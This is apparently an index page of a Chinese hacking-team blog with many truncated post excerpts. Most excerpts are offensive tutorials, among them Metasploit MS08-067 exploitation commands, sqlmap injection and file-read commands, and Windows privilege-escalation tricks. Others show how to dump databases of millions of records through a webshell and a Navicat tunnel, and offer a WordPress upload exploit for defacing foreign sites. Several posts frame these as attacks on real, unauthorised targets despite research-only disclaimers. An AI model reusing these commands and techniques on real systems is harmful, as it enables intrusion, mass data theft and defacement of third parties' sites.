McAfee在暗网中发现了一款专门制作勒索软件的工具，使用这款软件，3步你就能制作勒索软件了。地下犯罪市场很容易找到这些恶意软件生成器，它们能让你通过现有模板制作恶意软件。McAfee的研究人员发现了新趋势是这种工具现在被用来制作勒索软件了。勒索软件这种类型的恶意软件在犯罪分子的生态圈中越来越流行，骗子想要抓住这种新的机遇。勒索软件制作工具被叫做Tox的勒索软件制作工具5月19日出现在暗网上，而且提供免费下载。提供软件的地址为:toxicola7qwv37qj.onion该款勒索软件一旦在Windows系统打开，就会加密所有文件。一旦整个过程完成，它就会显示一条信息，要求机主支付赎金到一个比特币地址，才能解密文件。”作者解释道，制作一款勒索软件只需几步:1、决定赎金数量2、输入“缘由”3、提交验证码赎金73分成分配Tox的作者要从受害者支付的赎金中抽走一定比例，他们通过使用比特币和Tor网络来确保支付与恶意软件传播的匿名性。Tox的作者们保证他们所生成的恶意软件被杀毒软件检测到的概率非常低。关于恶意软件的传播，最常见的方法就是把它作为邮件附件大量发送。当受害者支付的比特币会转到买家的账户上。恶意软件作者会从中收取30%的费用——就是说，如果你收到了100美元的赎金，你拿70元，作者拿30元……Tox的关键特性:Tox免费。你只需在网站上注册。Tox依赖Tor和比特币，这保证了一定程 ...继续阅读 (135)

免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!Aircrack这种屌爆了的攻击测试套件在网上居然只有用它破解WiFi密码的教程，在这里我来扒个冷门，介绍下这款杀器的其他一些有趣的玩法。0×00:首先你需要一张usb无线网卡ifconfig查看可以正常识别,如果不行看这里。0×01:干坏或者不坏的事情前先修改MACifconfig [INTERFACE] down#关闭网卡#[INTERFACE]是指你的无线网卡,一般为wlan0,下不再说明macchanger -m [MAC] [INTERFACE]#修改MAC，[MAC]是你要改为的MAC地址,后面是你的网卡#可以macchanger –help查看帮助信息ifconfig [INTERFACE] up#打开网卡0×02:把无线网卡切换到监听模式#首先ifconfig可以看见有无线网卡然后ifconfig wlan0 down #wlan0可能需要更换为你的网卡,一般默认都为wlan0airmon-ng #查看当前网卡情况airmon-ng start wlan0airmon-ng #查看是否打开成功ifconfig wlan0 upiwconfig mon0 #查看Mode是不是Monitor(监听模式)停止的命令：airmon-ng stop ...继续阅读 (116)

在本文中，我们将讲述如何使用hackRF嗅探GSM网络的特定频率信号，并能够获取到解码之后的GSM网络流量。背景介绍前段时间，当我的朋友兼同事Simone访问我们的ZIMPERIUM（一个企业移动安全TLV办公室）时，刚好手头上有一个HackRF，所以就和他一起尝试黑掉一个不设防的无线电频率设备。Simone很有耐心地尝试并向我解释复数以及其他无聊的东西（有关更多），通过一遍又一遍的努力，还是填补了跟上Simone步伐的这一缺口，并通过不断努力最终达到成功。本教程是我们共同进行GSM攻击的结果，在这里分享出来给大家，希望它能对别人有所帮助。所用工具1、hackrf-kalibrate2、gnuradio-companion3、gr-gsm4、gqrx5、wireshark安装要求首先，需要确保已经安装了所有必需的软件，可以使用发行版包管理器来安装大多数需要的软件以及相应的依赖文件。下面，我们先从hackRF所依赖的工具和库文件开始，在Debian或Ubuntu发行版上，可以通过下面指令安装它们：sudo apt-get install hackrf libhackrf-dev libhackrf0一旦成功安装这些库之后，就可以将hackrf插入到一个USB端口上，并执行指令hackrf_info，此时，应当会看到类似下面的内容：# hackrf_info Found HackRF ...继续阅读 (167)

免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!在电影里黑客都在大街上或者马路上直接用笔记本“嗒…嗒…嗒…”就把某个东西“黑”掉了——这都是通过无线的。本文将介绍一名无线安全工程师的装备库。2.4GHz 定向or全向天线定向天线的话本来想自己做出一个便携的.苦于没有太多的时间..全向我是选择某位大神的作品..天线材料作者采用九节空心紫铜管镀银制作.天线在材料选取至关重要.之前在微博说过天线材料的选取.大部分小伙伴还是对材料选取方面有一定的误区在这里我就不多说….天线的搭配方案我建议是：12DB全向配合3070网卡…对目标区域进行无线拓扑分析.并根据三点定位的特性.获取目标AP大概位置…当分析目标区域内无线环境拓扑后..切换用定向天线配合8187网卡对目标AP…..当能够进入到目标无线网络中在切换回来.wifipineapple/wooyunwifi主要还是拿来做无线蜜罐.在目标使用radius+portal部署无线网络对于社工无果后.对目标AP进行无线DOS.在进行无线蜜罐似乎是不错的选择.伪造一样页面进行钓鱼…wooyunwifi的话还在开发中…因为该作者最近在忙着弄毕业的事..要到七月份才开始完善..感兴趣的小伙伴可以关注下。主要用于js缓存投毒、bdfproxy二进制文件自动传输中挂马..本来我是想自己写一个类似的然后屁颠屁颠的去学了 ...继续阅读 (120)

安全研究人员将一款电动玩具打造为“开锁神器”，可在几秒内打开几乎任何有固定密码的车库门。虽然目前这个电动玩具已不再公开售卖，但你依然可从eBay上花12美元到100多美元淘到。正常攻击需耗费30多分钟尽管因为通过极其有限的密钥空间绕过由固定密码系统的安全守护，但一次正常的攻击依然需要比较长的时间。安全研究人员Samy Kamkar表示，对于一般带有12个二进制指拨开关的车库开门器来说，要找到正确的密码，共有4096次可能的组合。而且发送一个字节需要2毫秒，发送下一个字节需要再等待2毫秒。此外，每次点击后一个单独密码会被发送五次。他计算后发现要暴力打开整个8、9、10、11、及12字节的密钥空间需要29分钟，前提是攻击者知道所有的细节信息（频率及传输速率）。芝麻开门：10秒内开门Kamkar提出一种他称之为“芝麻开门（OpenSesame）”的开车库方法——可将开门时间缩短为不到10秒钟。而一款名为Radica Girltech IM-ME的电动玩具中恰好包含发送密码需要的组件（CC1110 RF芯片）。Kamkar删除了代码传输及等待时间，并且设法将时间缩短到大概3分钟。通过利用德布鲁因序列，他设法在8.2秒内成功实施了暴力破解。Kamkar还利用Travis Goodspeed的GoodFET适配器重新设定了IM-ME玩具的程序，并且创建了可处理发送代码的“芝麻开门”代码。攻击源 ...继续阅读 (101)

WAIDPS是一个Python编写的无线入侵检测工具，基于Linux平台，完全开源。它可以探测包括WEP/WPA/WPS在内的无线入侵&攻击方式，并可以收集WiFi相关的所有信息。WAIDS适用于渗透测试工作者、无线安全爱好者，当发现攻击时，系统会显示于屏幕并记录在日志中。产品特性自动记录攻击包具有交互模式用户可分析抓包定制化过滤器定制化检测规则目前WAIDS支持检测以下攻击检测结束鉴权(Deauthentication)异常检测基于ARP重放的WEP攻击检测chopchop方式的WEP攻击检测PIN爆破攻击检测Evil-Twin检测钓鱼接入点系统要求admin权限无线接口的抓包和注入Python 2.7Aircrack-NGTSharkTCPDumpMergecapxterm下载地址LOFTER：r00tshell™-Team http://r00tshell.lofter.com/post/3d2f21_75bf7d0 ...继续阅读 (115)

A：这世道真是什么也不敢相信了。你知道吗，我一朋友的银行卡昨天被盗刷了，而且奇怪的是他的卡没有丢，也没有开通网银，不知怎么了就被刷去了几万块……B：真是的，现在的偷盗技术真是越来越高深了，我听说现在都是通过高科技进行偷盗了。以后我们可得小心点了……根据民警@生若夏花W的消息：最近一种新型的ATM机攻击技术已在国内出现，犯罪分子可以在银行卡未丢、未开通网银的情况下实现银行卡盗刷。犯罪分子主要使用2个物品：一个套在ATM机上的插卡处，内置读取磁条芯片的装置；一个装在输入密码的键盘前，上有针孔摄像头，内置录像机和SD卡，可录下持卡人输入的密码。就是由这些装备构成的“黑科技”可以让你卡中的钱“不翼而飞”。黑科技：揭秘新型作案工具上文中犯罪分子盗窃的大致原理相信各位已有了解，下面我们来看犯罪者的作案工具吧。图中的黑色装置可以读取磁条信息，不法份子会把这个黑色的装置套在插卡口出，不注意看的话还以为是和插卡口一体的呢！贴着“进入监控区域”警示贴条的白色装置其实也在“钓鱼”——其中暗藏“杀机”，下面会详细介绍。这是插卡口被套上黑色装置以后的样子。未插入装置之前是这个样子的，一定要注意看哦！短的是ATM上的原装插卡口，长的黑色装置是？看不清是吗？我们来近距离的仔细悄悄……上图这里是黑色装置的核心，它可以读取银卡上的磁条信息，然后记录下来！现在回过头来，我们再来看看上文提到的白色装置。白色装置里面内置 ...继续阅读 (76)

俗话说进攻是最好的防御，而这与信息安全世界并没有什么不同。通过这15个故意存漏洞网站来提升你的黑客技能，你会成为最好的防守者——无论你是一名开发人员、安全管理者、审计师或者测试人员。请牢记：熟能生巧！1、BricksBricks是一个建立于PHP、使用MySQL数据库的web应用程序，其中含有漏洞并且每个“brick”程序块包含一个需要进行缓解安全漏洞。这是OWASP的一个项目，不仅为教学提供了一个AppSec平台，同时也成为检测web应用程序扫描器的一种方法。有三种类型的程序块：登录页面、文件上传页面以及内容页面，每种都存在不同类型的漏洞，而这些漏洞都是应用程序中经常遇到的。想要了解更多OWASP Bricks计划，点这里。2、bWAPP代表了缺陷Web应用程序的bWAPP，是“一款免费并且开源的不安全web应用程序”。关注的漏洞超过了100个常见问题，均源自OWASP Top 10。下载3、Damn Vulnerable iOS App (DVIA)信息安全工程师@prateekg147近期发布并提供免费下载的DVIA是一款基于iOS 7及以上版本的超级不安全移动app。对于移动app的开发者来说，这个平台非常有用，因为一旦有大量站点可以练习攻击web应用的技能，那么移动app就会让这样的合法攻击难度增加。去下载一个DVIA吧，可以观看YouTube视频和阅读“开始”指南开启一 ...继续阅读 (74)

免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!“社工库”是运用社会工程学进行渗透测试时候积累的各方面数据的结构化数据库。环境介绍 ①Host：Fedora(English)(server)，win8(中文)②Fedora安装apache，Mysql Workbench，语言包（Fedora安装时选择）。③Database：Mysql 安装在Fedora, 建库/表统一编码UTF8，修改my.cnf中的datadir=单独的一个分区，tmpdir=空间足够大的空间( > 16G)。④Win8:安装了notepad++，Navicat。MySql配置如下：/etc/my.cnf[mysqld]skip-name-resolve#datadir=/var/lib/mysqldatadir=/home/data/mysql/tmpdir=/MysqlTemp/#socket=/var/lib/mysql/mysql.socksocket=/home/data/mysql/mysql.sockuser=mysqldefault-character-set = utf8max_allowed_packet = 200Mnet_buffer_length = 65536wait_timeout = 2880000interactive_timeo ...继续阅读 (71)

一篇很精彩的反黑追踪文章。。0×01今天早上刚起来，一个朋友就发给我一个文件，一看文件的名字是拿货清单.tbz2，我第一感觉是病毒，然后就打电话告诉我的那个朋友，她的QQ号码可能被盗了，让她赶快修改密码，她改完之后，这件事情本来应该结束的，因为我的好奇心，还有发现这个木马是免杀的，所以就去分析了下这个木马，然后就有了后来的事情。0×02样本图标：是不是感觉很诡异，压缩前的文件竟然比压缩后的文件还要大5000K，我用Winhex打开，发现里面有这个完整的PE，才看了下原来压缩比例是100%，根本就没进行压缩算法，而且在压缩包的文件末尾还加了好多没用的数据，看来这作者是在构建畸形压缩包，起到QQ传输木马不被发现里面包含PE的作用。0×03用户通过打开压缩包，双击运行压缩包里的木马后，木马会运行起来，然后从自身资源释放一张图片到电脑上，通过系统调用打开图片，起到迷糊用户的目的，用户以为打开的是图片，如图：但是他们不知道其实木马还没结束，它会把自身复制到临时目录下，然后通过WinExec这个API，传递第二个参数是SW_HIDE把自身重新运行起来，如图：再次运行起来的木马，因为是隐藏运行的，所以会走下面的木马流程，如图：注册一个窗口：动态创建控件，伪装QQ重新登录的界面，如图：设置控件的风格，如图：构造的界面如图所示，感觉挺真的，不认真看真看不来：解密字 ...继续阅读 (69)

阿里移动安全团队与中国泰尔实验室无线技术部的通信专家们一起，联合对国内运营商某型Femtocell基站进行了安全分析，发现多枚重大漏洞，可导致用户的短信、通话、数据流量被窃听。恶意攻击者可以在免费申领一台Femtocell设备之后，迅速地将其改造成伪基站短信群发器和流量嗅探器，影响公众的通信安全。家庭基站(Femtocell，又称飞蜂窝，Femto本意是10的-15次方)是运营商为了解决室内覆盖问题而推出的基于IP网络的微型基站设备，通常部署在用户家中，甚至直接放在桌面上。 随着运营商网络建设基本完成，宏站基本不再增加，Femtocell作为网优阶段解决信号覆盖盲区最有效的手段，倍受运营商青睐。由于Femtocell通过IP与运营商核心网直接连接，并从用户侧来看，是完全合法的基站设备。Femtocell一般安装在用户触手可及的位置上，这就使得一直躲在通信机房这一天然物理安全屏障庇护下的传统通信厂商，终于要接受天下黑客的检阅了。然而，传统通信厂商在开发过程中的安全意识淡薄，导致了通信设备的安全漏洞比比皆是。近年来，BlackHat、DEFCON等安全大会上多次曝出Femtocell的安全问题。漏洞细节已于2015年5月21日通报相关运营商，相关厂家已经针对此漏洞对全网设备进行了紧急修复，目前漏洞已经修复完成。出于推进安全研究的考虑，现在将漏洞的细节公开。1 板卡概览1.1 设备的获得 ...继续阅读 (75)

与谷歌通过网址来搜索互联网的方式不同，Shodan通过互联网背后的通道来搜索信息。它就象是一种“黑暗”的谷歌，不断在寻找服务器、网络摄像头、打印机、路由器和其他与互联网连接及构成互联网的一切东西。Shodan日夜不停地在运行着，每月可在互联网上搜索到大约5亿个连网设备和服务。Shodan的搜索能力是极其惊人的。无数交通灯、安全摄像头、家庭自动化设备和加热系统都连接着互联网，Shodan可以很轻松地找到它们。命令行模式TIPSShodan命令行模式有很多优点，比如导出搜索数据与解析搜索数据，还有可以指定显示数据得关键字段。首先得去shodan官网注册一个用户，然后在用户中心有个开放的API KEY之后会有用把项目克隆到本地git clone https://github.com/achillean/shodan-python.git直接 python setup.py等安装完了就可以使用了某些功能普通的API是无法使用的，比如scan命令使用之前首先初始化shodan init YOUR_API_KEYshodan count +"查询内容" 是统计条目数shodan download apche-data apche就可以下载100条json数据shodan parse --fields ip_str,port,org --separator , apache-data.json. ...继续阅读 (82)

这是学长推荐的一个…….很牛逼啊~~小菜正在恶补ing正文开始:::::::::今天看到一基友 Mayter/baojin 总结了下入侵学习的视频 我顺便把视频链接也放上来省得想学习入侵的童鞋去找了现在学入侵了好多了 学习的东西都给出来了 以前我们学习入侵的时候，都是靠自己找 还没有总体的学习思路只要想学习 会利用谷歌搜索，学很多东西 都容易 不仅仅只是在入侵学习方面1. 你说你不会手工注入，不会常规拿webshell方法，不会winodws提权, 看杨帆的107课教程 + 暗月的系列视频 想不入门想不会都难2. 你说你不会linux提权 小波的linux系列视频 想不会linux提权都难3. 你说你不会玩backtrack ，菜鸟腾飞backtrack系列视频明教教主的系列bt视频 想不会backtrack 都难4，你说你不会sqlmap 羽翼的sqlmap系列视频 你看了吗 ？5. 你说你不会burp suite 你看了2012年angelc0de原创burpsuite系列 无key 吗?还有这套2010年的 burp suite系列视频两套6. xss不会，乌云的xss系列教材看了吗？7. t00ls论坛 90sec论坛 习科论坛，的所有技术文章都去看可以补充一下其他方面的不足或提升8. 你说你不会接单，不会脱裤：入侵网站，锁定目标 ...继续阅读 (75)

有的说:”用msf渗透太难啦，我还没成功过”，有的问:”msf的exploit这么多，怎么选择？”，还有的说:”msf也就玩些自己配置的主机，如:metasploitable2，根本没法渗透网站”恰巧……贴吧的朋友发了个钓鱼站，那就来看看呗还真是个钓鱼站，而且页面就是个动态图，我就想到从服务器下手正好用这站做个msf小教程了环境:虚拟机kali默认配置，装完更新下就好了第一步，启动数据库和msf服务service postgresql startservice metasploit start如果不想每次都要打，可以设置开机启动update-rc.d postgresql enableupdate-rc.d metasploit enable然后msfconsole启动就好了(时间可能会稍长)很多教msf的教程会直接用某个exp就拿下了，但是实战的时候，这样做往往收效甚微。因为别人的服务器很有可能已经打好补丁，一般得先扫描出对应的漏洞，再选择exp进行渗透Nessus、nexpose、nmap之类的扫描器都能做到这一点。我在这里推荐先用nmap，因为它的脚本刚好可以对最常见的几个漏洞进行测试，所以就以它为例:db_nmap –A –script=vuln taobusy.com –v-A是综合测试的参数，--script是选择脚本，vuln代表进行常见漏洞的测试-v参数代表输出较详 ...继续阅读 (264)

声明：本文具有一定攻击性，仅作为技术交流和安全教学之用，不要用在除了搭建环境之外的环境。0×01 题记又是一年十月一，想到小伙伴们都纷纷出门旅游，皆有美酒佳人相伴，想到这里，不禁潸然泪下。子曰：“长得丑就要多读书！”于是有了这篇文章。0×02 简要介绍这篇文章的主要目的是介绍一下一个最新的中间人攻击测试框架 – MITMf。工具的作者是byt3bl33d3r，是基于代理工具sergio-proxy修改而来。这里是工具的地址：https://github.com/byt3bl33d3r/MITMf关于工具的一些简介也在git的READEME中说到了。工具本身比较新，没找到中文指南，这里就写一篇文章与大家一起交流探讨。刚一看到这个工具的时候，第一感觉不过是一个中间人攻击的集合品，也没多大兴趣。本来嘛，这个概念也已经被谈烂了。但是当我真的搭好环境开始玩的时候才发现其实这个框架还是有点意思的，可扩展性非常高。除了“劫持”的概念外，一些插件也起到了“渗透”的作用。0×03 工具配置MITMf不支持多系统平台，虽然是python写的，但是玩过以后才发现根本就是给linux量身做的，所以这里想玩的同学如果是win环境的话，可以考虑用虚拟机了，这里建议使用Kali/Linux。首先git下整个框架#git clone https://github.com/byt ...继续阅读 (60)

先上一张beEF的界面图：现在我们开始把beEF和metasploit给关联起来，首先我们需要了解下beEF和metasploit的几个目录。beEF的目录是在：/usr/share/beef-xss下metasploit的两个目录分别是：/opt/metasploit 和/usr/share/metasploit-framework下面我们先进入beEF的目录下面，如下图：我们打开config.yaml这个文件，我们需要把里面关于metasploit的那一项开启如下图：将metasploit的enable的项改成true就可以了，然后保存退出。下一步我们需要进入beEF下面的extensions/metasploit目录。如下图：打开这个config.yaml文件，并把这几个地方修改下：这个地方ip改为你本机ip，不要用127.0.0.1。下面的路径为metasploit的路径，然后保存。然后把metasploit的服务开启，在命令行下用msfconsole把控制台打开，接着加载beEF。所用命令为：“load msgrpc ServerHost=192.169.60.19 Pass=abc123”已经成功加载，接下来启动beEF看看：可以看到已经开始加载metasploit的攻击脚本了。之后目标机访问了：http://控制端IP:3000/demos/butcher/index ...继续阅读 (82)

最近迷上了这首歌。。LOFTER：r00tshell™-Teamhttp://r00tshell.lofter.com/post/3d2f21_7517aec ...继续阅读 (55)

Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时，计算机安全状况也被永久性地改变了。仿佛一夜之间，任何人都可以成为黑客，每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了，这是因为Metasploit团队一直都在努力开发各种攻击工具，并将它们贡献给所有Metasploit用户。Metasploit的设计初衷是打造成一个攻击工具开发平台，安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。说再多也不如真情实弹的干不是。我用VMware搭建了一个实验环境，下面是网络的拓扑图：要做的就是用Kali Linux里的Metasploit入侵WinXP，然后从物理机，也就是Win7的远程桌面连进WinXP 系统。首先，在Kali用命令 msfconsole 开启Metasploit。然后运行如下命令：use exploit/windows/smb/ms08_067_netapi #使用MS08067漏洞攻击程序set LHOST 192.168.116.3 ...继续阅读 (340)

新建文本，复制一下内容。另存为bat。功能：如标题，能够锁定屏幕进行挂机。。。BUG，alt+tab能够切换出去，不过一般没意识的看见被锁定了不 会切换。@echo off&color; 0ftitle 挂机锁 ★ QQ：2724573205 制作人：r00tshell-Team ★set a=10set b=0:texset /a a+=3set /a b+=1mode con cols=%a% lines=%b%if %a% lss 70 goto :texecho.echo.echo.echo 本程序用于挂机、锁屏，两次输入密码更安全!echo.echo QQ：2724573205 制作人：r00tshell-Teamecho.echo.echo 现在的时间是：%date% %time%echo.echo.rem 禁用任务管理器和注册表reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_dword /d "00000001" /f>nulreg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Pol ...继续阅读 (70)

更新于20140611网盘：是上传的115网盘 下载只要宽带可以可以达到1-2M/s 总共大小是15G 准备：自己物理机安装vm10.0虚拟机渗透系统：直接下载下来解压 打开vm虚拟机 打开已存在的虚拟机 选择2003虚拟机即可 使用。工具：awvs9.5sqlmap1.0 sqlmap0.9burp suite 1.60 1.47jsky 3.6IronWASP.exeNetsparker 3.2Nmap with WinPcap.exe90secFireFox.exe御剑2014 御剑个人字典增强版椰树1.8全功能版菜刀爬行wwwscan_gui 个人字典xscan_gui.exe 加nessus插件包 C:\Documents and Settings\Administrator\桌面\software\all-2.0.tar(2).gz指定端口爆破3389zz工具.zipDUBrute2[1].13389爆破工具HScan v1.20 汉化增强版.rarBrutus汉化版.zipBruter1.0.zipHydra GUI.ziphydra-7.5-windows.zipHatchet_05.07.rar中国菜刀法克.zip+菜刀最终版加脚本.rarDirBuster-0.12-Setup.exe C:\Documents and Settings\Ad ...继续阅读 (54)

分享一个工具 扫fck编辑器 dedecms ewe编辑器 ckf编辑器等等下载链接: http://pan.baidu.com/s/1c0w9XQS 密码: fobqLOFTER：r00tshell™-Teamhttp://r00tshell.lofter.com/post/3d2f21_6e3cb1e ...继续阅读 (69)

SniffPass是一个小型的网络密码嗅探（密码找回）工具，它可以捕获并展示网络中传输的密码。目前SniffPass可以捕获POP3, IMAP4, SMTP, FTP和HTTP协议下的密码，你可以用它来恢复Web/FTP/Email的密码哦，千万不要用来做坏事……使用方法:1、下载并安装WinPcap抓包驱动程序，或者Microsoft Network Monitor驱动2、运行SniffPass.exe3、在“文件”菜单中选择“开始捕获（Start Capture）”，或者点击工具栏中的绿色按钮。如果是第一次使用SniffPass，你需要选择网卡。4、为了测试是否可以正常捕获密码，你可以访问http://www.nirsoft.net/password_test，输入demo、password作为用户名密码进行测试。下载地址: http://www.nirsoft.net/utils/password_sniffer.html==============================================本机搭建wifi，然后抓取密码。。。下一次我抽空做个试验看看。成功后过程进发布出来。LOFTER：r00tshell™-Teamhttp://r00tshell.lofter.com/post/3d2f21_6e3cb0d ...继续阅读 (54)

我去1337day看了看，一个是注入漏洞，免费的，http://1337day.com/exploit/22846测试了目标站，没用，一个是管理员绕过漏洞，但是要25美刀http://1337day.com/exploit/description/22677朋友叫我去一个国外论坛看看，我就看到了一个上传的，目标站既然也是上传，虽然只 能传txt,JPG之内的但至少，离目标更近了，这个只能传txt,大家可以拿来日国外站，挂黑页装B玩，哈哈，下面分享代码############################################################################# Title : WordPress : easy-comment-uploads Upload Vulnerability# Author : VIRUSLEGEND# Vendor : http://www.wordpress.org# Google Dork : inurl:/wp-content/plugins/easy-comment-uploads/inurl:/wp-content/plugins/easy-comment-uploads/ site:il# Tested on : Windows 7 , windows 8, linux################# ...继续阅读 (242)

在被黑站点找到一个站先教拿shell是有注入漏洞的 有可能是root权限的注入点可以确定是有注入漏洞的 也得到了 物理路径 这个是很有用的 如果是root权限的注入点 那我们可以考虑 写shellD:\wamp\www\js\content.php 有时候物理路径是很有用的上sqlmap注入 使用命令 这个是mysql数据库的sqlmap.py -u 注入点 --current-user # /*获取当前用户名称sqlmap.py -u 注入点 --current-db # /*获取当前数据库名称sqlmap.py -u 注入点 -D "数据库名" -T "表名" --tablessqlmap.py -u 注入点 -D "数据库名" -T "表名" --columnssqlmap.py -u 注入点 -D "数据库名" -T "表名" -C "字段" --dumpsqlmap.py -u 注入点 --file-read "文件名"#读取文件load_file()sqlmap.py -u 注入点 --is-dba #是否是数据库管理员sqlmap.py -u 注入点 --passwords #数据库用户密码这个是win环境的安装的sqlmap 不是linux环境安装的 使用方法 多了(.py)好了 看一下是什么权限注入点sqlmap.py -u 注入点 --current-use ...继续阅读 (283)

今天刚刚回到家 刚刚提到的服务器 于是乎就做一做文章给大家看看(没有什么技术含量 只是告诉大家一个思路)系统的cmd是不能用了 自己找可写可执行权限的目录 (具体工具上传wt.asp 或者asp大马自带的目录权限检测工具)这里我已经找到了可以执行cmd的目录但是执行命令权限貌似很小就连 ipconfig 都执行不了之后就是查看一下 环境 看看是否有人提过 查看一下管理员 net localgroup administrators (当 net 无法用就用 net1 还有当/add无法添加用户 就用/ad 个人经验 告诉大家)可是执行不了 于是 就用 query user 查看当前在线管理员到了这里 我们可以暂时 停下exp溢出提权思路 查看有什么第三方软件 (也就是扫端口)得到 :3306 (mysql默认端口) 43958 (serv-u默认端口)现在先 试试serv-u提权失败了 端口是默认的 密码修改了 具体43958提权http://www.t00ts.net/post-17.html (我以前做的文章)现在找serv-u 安装目录 (教几个技巧 可以用注册表查找 也可以用 sc qc serv-u dos常用命令还是要背下来的)现在教大家用注册表 找程序安装目录路径HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\还有mys ...继续阅读 (48)

至于什么是WebDAV漏洞 你们自己百度科普以上是 我做的幻灯片 介绍什么是WebDAV 有什么用漏洞测试需要的工具看到这里 说明直接远程溢出 提升权限为system 这些都很久以前的老漏洞了 我以前看过 现在发出来LOFTER：r00tshell™-Teamhttp://r00tshell.lofter.com/post/3d2f21_6e3ca90 ...继续阅读 (66)

mickey牛那里发现的，功能甚是强大。收藏备用。svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-devsqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m;=1″ -v 1 –sql-shell //执行SQL语句sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m;=1″ -v 5 //更详细的信息load options from a configuration INI filesqlmap -c sqlmap.conf使用POST方法提交sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/post_int.php” –method POST –data “id=1″使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookiespython sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1使用referer欺骗python sqlmap ...继续阅读 (39)

0x01 网卡工作原理简介以太网的标准拓扑结构为总线型拓扑，尽管目前快速以太网使用交换机来进行网络连接和组织，但在逻辑上，以太网仍然是总线型拓扑。网卡的主要工作是对总线当前状态进行探测，确定是否进行数据传输；对接收到的数据帧的物理地址（MAC）进行检查，并根据网卡驱动程序设置的接收模式判断是否接收，如果为接收，就接受数据，同时对CPU发送中断信号，将接收到数据帧交给操作系统处理，否则丢弃。整个过程在网卡上独立完成。对于网卡来说，一般有一下四种接收模式：广播模式：该模式下网卡接收物理地址（MAC）为0xFFFFFF的广播帧。组播模式：该模式下网卡接收自己组内的组播数据帧。直接模式：该模式下网卡只接收目的地址是自己MAC地址的数据帧。混杂模式：该模式下网卡接收所有经过自己的数据，不管该数据是否传给它的。一般情况下，网卡的默认配置是同时支持前三种接收模式。如果将网卡的工作模式设为混杂模式，那么网卡将接受所有传递给它的数据包。这也就是嗅探器的基本原理：让网卡接收一切它能接收到的数据。0x02 网络嗅探网络中的两台主机要进行通信，就必须遵守相应的网络协议。常用的FTP、Telnet、HTTP、POP3协议都是进行数据的明文传输，一旦将明文传输的数据包截获下来，很容易就知道数据包内的敏感信息（如账号，密码），截获者就可以像正常用户那样，使用提取到信息登录相应的账户。为了防范此类攻击，现在大部分 ...继续阅读 (41)

首先声明上述两种方法，有很多朋友已经知道或有更好的办法脱裤。关于脱裤我个人观点是能简单则简单先声明大致脱裤环境“1：准备脱裤数据量在千万级别 2：有WEB端SHELL 3：数据库服务器在内网只允许WEB端IP登录等 4：无ROOT密码 5：WEB端无法提权1：Navicat这个软件有个很有特色的连接方式，http隧道连接，他是可突破数据库服务在内网无法外链进去的。配置如下.1.1 打开Navicat安装目录找到”ntunnel_mysql.php“上传至WEB服务器最好和shell处于同一目录便于管理2 此处填写内网数据库IP地址或者计算机名称1.3 选择HTTP，将ntunnel_mysql.php上传后的地址填入此处，确认即可:1.4连接进入后如下，本人亲自测试500W裤子完整脱下来，速度大约是每秒1000，而且可以脱指定字段，排除很多垃圾信息2：PHPSPY脱裤把网页拉到最下方，勾选点击即可，大库的话需要良好网速支持，等待即可，过一个小时去刚才的目录把裤子下载回来就OKLOFTER：r00tshell™-Teamhttp://r00tshell.lofter.com/post/3d2f21_611ee29 ...继续阅读 (130)

最近一直玩内网抓用户账户信息，终于略有小成。。好了废话不多说，各位看官跟我往下走。。wireshark，这款软件大家应该都知道，我就不在叙述了，不知道的自己百度。总之这是款神器。。这里我们需要选择：抓包-网络接口。这里我已经给大家技巧了，大家不知道那个接口有效那么就看那个接口有数据包跳动，跳动的就是有效的。。这里的过滤如果大家不选择的话那么就会嗅探整个内网所有的流量，这里我使用ip.src==192.168.1.109 && http进行嗅探，意思就是嗅探192.168.1.109机器的http数据。做完以上几步咱们就可以慢慢等待了。。。出于方便截图我就直接拿我本机做试验了。。下面随便打开一个网站，以本人xss盲打平台为例。打开IE正常登陆，仔细观看wireshark数据跳动。登陆成功后wireshark就可以截取到明文的账号密码以及Cookie信息了。。数据很多，大家可以找红色辨识的数据，然后挑选pass，houtai，admin等关键词进行数据筛选，其实wireshark可以自动筛选，但是我还是比较喜欢手工，这样更帅气一点。。网站后台登陆地址不同，wireshark嗅探到的关键词也不一样这个需要大家自己动脑子去想办法找。。不过一个一个找确实很累。总之wireshark抓取内网明文密码还是可行的。。============大家还可以自己伪造wifi然后拿wireshark进行嗅 ...继续阅读 (108)